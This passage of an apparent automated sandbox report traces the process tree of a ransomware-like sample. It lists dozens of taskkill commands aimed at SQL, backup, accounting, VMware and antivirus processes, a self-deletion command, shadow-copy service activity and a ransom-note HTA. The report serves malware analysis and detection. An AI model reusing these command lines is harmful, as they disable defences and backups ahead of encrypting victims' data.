                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                      taskkill /F /T /IM sqlagent*
                                                                                                                                      3⤵
                                                                                                                                      • Kills process with taskkill
                                                                                                                                      PID:1160
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    cmd /C taskkill /F /T /IM sqladhlp*
                                                                                                                                    2⤵
                                                                                                                                      PID:1936
                                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                                        taskkill /F /T /IM sqladhlp*
                                                                                                                                        3⤵
                                                                                                                                        • Kills process with taskkill
                                                                                                                                        PID:1608
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      cmd /C taskkill /F /T /IM Culserver*
                                                                                                                                      2⤵
                                                                                                                                        PID:1736
                                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                                          taskkill /F /T /IM Culserver*
                                                                                                                                          3⤵
                                                                                                                                          • Kills process with taskkill
                                                                                                                                          PID:204
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        cmd /C taskkill /F /T /IM RTVscan*
                                                                                                                                        2⤵
                                                                                                                                          PID:1016
                                                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                                                            taskkill /F /T /IM RTVscan*
                                                                                                                                            3⤵
                                                                                                                                            • Kills process with taskkill
                                                                                                                                            PID:220
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          cmd /C taskkill /F /T /IM sqlbrowser*
                                                                                                                                          2⤵
                                                                                                                                            PID:1032
                                                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                                                              taskkill /F /T /IM sqlbrowser*
                                                                                                                                              3⤵
                                                                                                                                              • Kills process with taskkill
                                                                                                                                              PID:1840
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            cmd /C taskkill /F /T /IM SQLADHLP*
                                                                                                                                            2⤵
                                                                                                                                              PID:1560
                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                taskkill /F /T /IM SQLADHLP*
                                                                                                                                                3⤵
                                                                                                                                                • Kills process with taskkill
                                                                                                                                                PID:1740
                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                              cmd /C taskkill /F /T /IM QBIDPService*
                                                                                                                                              2⤵
                                                                                                                                                PID:1908
                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                  taskkill /F /T /IM QBIDPService*
                                                                                                                                                  3⤵
                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                  PID:1076
                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                cmd /C taskkill /F /T /IM Intuit.QuickBooks.FCS*
                                                                                                                                                2⤵
                                                                                                                                                  PID:1956
                                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                                    taskkill /F /T /IM Intuit.QuickBooks.FCS*
                                                                                                                                                    3⤵
                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                    PID:1580
                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                  cmd /C taskkill /F /T /IM QBCFMonitorService*
                                                                                                                                                  2⤵
                                                                                                                                                    PID:1256
                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                      taskkill /F /T /IM QBCFMonitorService*
                                                                                                                                                      3⤵
                                                                                                                                                        PID:1584
                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                      cmd /C taskkill /F /T /IM sqlwriter*
                                                                                                                                                      2⤵
                                                                                                                                                        PID:1976
                                                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                                                          taskkill /F /T /IM sqlwriter*
                                                                                                                                                          3⤵
                                                                                                                                                            PID:1928
                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                          cmd /C taskkill /F /T /IM msmdsrv*
                                                                                                                                                          2⤵
                                                                                                                                                            PID:1476
                                                                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                                                                              taskkill /F /T /IM msmdsrv*
                                                                                                                                                              3⤵
                                                                                                                                                                PID:1984
                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                              cmd /C taskkill /F /T /IM tomcat6*
                                                                                                                                                              2⤵
                                                                                                                                                                PID:1160
                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                  taskkill /F /T /IM tomcat6*
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                  PID:1768
                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                cmd /C taskkill /F /T /IM zhudongfangyu*
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:1608
                                                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                                                    taskkill /F /T /IM zhudongfangyu*
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                    PID:236
                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                  cmd /C taskkill /F /T /IM vmware-usbarbitator64*
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:204
                                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                                      taskkill /F /T /IM vmware-usbarbitator64*
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                      PID:480
                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                    cmd /C taskkill /F /T /IM vmware-converter*
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:220
                                                                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                                                                        taskkill /F /T /IM vmware-converter*
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                        PID:216
                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                      cmd /C taskkill /F /T /IM dbsrv12*
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:1840
                                                                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                                                                          taskkill /F /T /IM dbsrv12*
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:1484
                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                          cmd /C taskkill /F /T /IM dbeng8*
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:1740
                                                                                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                                                                                              taskkill /F /T /IM dbeng8*
                                                                                                                                                                              3⤵
                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                              PID:1792
                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                            cmd /C taskkill /F /T /IM MSSQL$MICROSOFT##WID*
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:1076
                                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                taskkill /F /T /IM MSSQL$MICROSOFT##WID*
                                                                                                                                                                                3⤵
                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                PID:572
                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                              cmd /C taskkill /F /T /IM MSSQL$VEEAMSQL2012*
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:1580
                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                  taskkill /F /T /IM MSSQL$VEEAMSQL2012*
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:1520
                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                  cmd /C taskkill /F /T /IM SQLAgent$VEEAMSQL2012*
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:1584
                                                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                      taskkill /F /T /IM SQLAgent$VEEAMSQL2012*
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                      PID:1700
                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                    cmd /C taskkill /F /T /IM SQLBrowser*
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:1928
                                                                                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                        taskkill /F /T /IM SQLBrowser*
                                                                                                                                                                                        3⤵
                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                        PID:1488
                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                      cmd /C taskkill /F /T /IM SQLWriter*
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:1984
                                                                                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                          taskkill /F /T /IM SQLWriter*
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:1572
                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                          cmd /C taskkill /F /T /IM FishbowlMySQL*
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:1768
                                                                                                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                              taskkill /F /T /IM FishbowlMySQL*
                                                                                                                                                                                              3⤵
                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                              PID:1384
                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                            cmd /C taskkill /F /T /IM MSSQL$MICROSOFT##WID*
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:236
                                                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                taskkill /F /T /IM MSSQL$MICROSOFT##WID*
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                PID:1736
                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                              cmd /C taskkill /F /T /IM MySQL57*
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:480
                                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                  taskkill /F /T /IM MySQL57*
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                  PID:1016
                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                cmd /C taskkill /F /T /IM MSSQL$KAV_CS_ADMIN_KIT*
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:216
                                                                                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                    taskkill /F /T /IM MSSQL$KAV_CS_ADMIN_KIT*
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                    PID:1508
                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                  cmd /C taskkill /F /T /IM MSSQLServerADHelper100*
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:1484
                                                                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                      taskkill /F /T /IM MSSQLServerADHelper100*
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                      PID:1796
                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                    cmd /C taskkill /F /T /IM SQLAgent$KAV_CS_ADMIN_KIT*
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:1792
                                                                                                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                        taskkill /F /T /IM SQLAgent$KAV_CS_ADMIN_KIT*
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:1908
                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                        cmd /C taskkill /F /T /IM msftesql-Exchange*
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:1628
                                                                                                                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                            taskkill /F /T /IM msftesql-Exchange*
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                            PID:1868
                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                          cmd /C taskkill /F /T /IM MSSQL$MICROSOFT##SSEE*
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:320
                                                                                                                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                              taskkill /F /T /IM MSSQL$MICROSOFT##SSEE*
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                                              PID:1816
                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                            cmd /C taskkill /F /T /IM MSSQL$SBSMONITORING*
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:1620
                                                                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                taskkill /F /T /IM MSSQL$SBSMONITORING*
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                PID:792
                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                              cmd /C taskkill /F /T /IM MSSQL$SHAREPOINT*
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:1808
                                                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                  taskkill /F /T /IM MSSQL$SHAREPOINT*
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                  PID:1776
                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                cmd /C taskkill /F /T /IM MSSQLFDLauncher$SBSMONITORING*
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:864
                                                                                                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                    taskkill /F /T /IM MSSQLFDLauncher$SBSMONITORING*
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                    PID:784
                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                  cmd /C taskkill /F /T /IM MSSQLFDLauncher$SHAREPOINT*
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:1320
                                                                                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                      taskkill /F /T /IM MSSQLFDLauncher$SHAREPOINT*
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:1824
                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                      cmd /C taskkill /F /T /IM SQLAgent$SBSMONITORING*
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:1556
                                                                                                                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                          taskkill /F /T /IM SQLAgent$SBSMONITORING*
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:1388
                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                          cmd /C taskkill /F /T /IM SQLAgent$SHAREPOINT*
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:1920
                                                                                                                                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                              taskkill /F /T /IM SQLAgent$SHAREPOINT*
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:208
                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                              powershell [System.Net.Dns]::GetHostByAddress('10.7.0.166').hostname
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                              PID:2024
                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /C timeout /T 15 /NOBREAK && del "C:\Users\Admin\AppData\Local\Temp\build-x64-crypt.bin.exe" /F
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                              • Deletes itself
                                                                                                                                                                                                                              PID:632
                                                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                timeout /T 15 /NOBREAK
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                PID:832
                                                                                                                                                                                                                          • C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                                            C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                            • Modifies service
                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                            PID:1052
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                            "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Public\Desktop\zcwiYr-decrypt.hta"
                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                            • Modifies Internet Explorer settings
                                                                                                                                                                                                                            PID:1388

                                                                                                                                                                                                                          Network

                                                                                                                                                                                                                          MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                                                          Downloads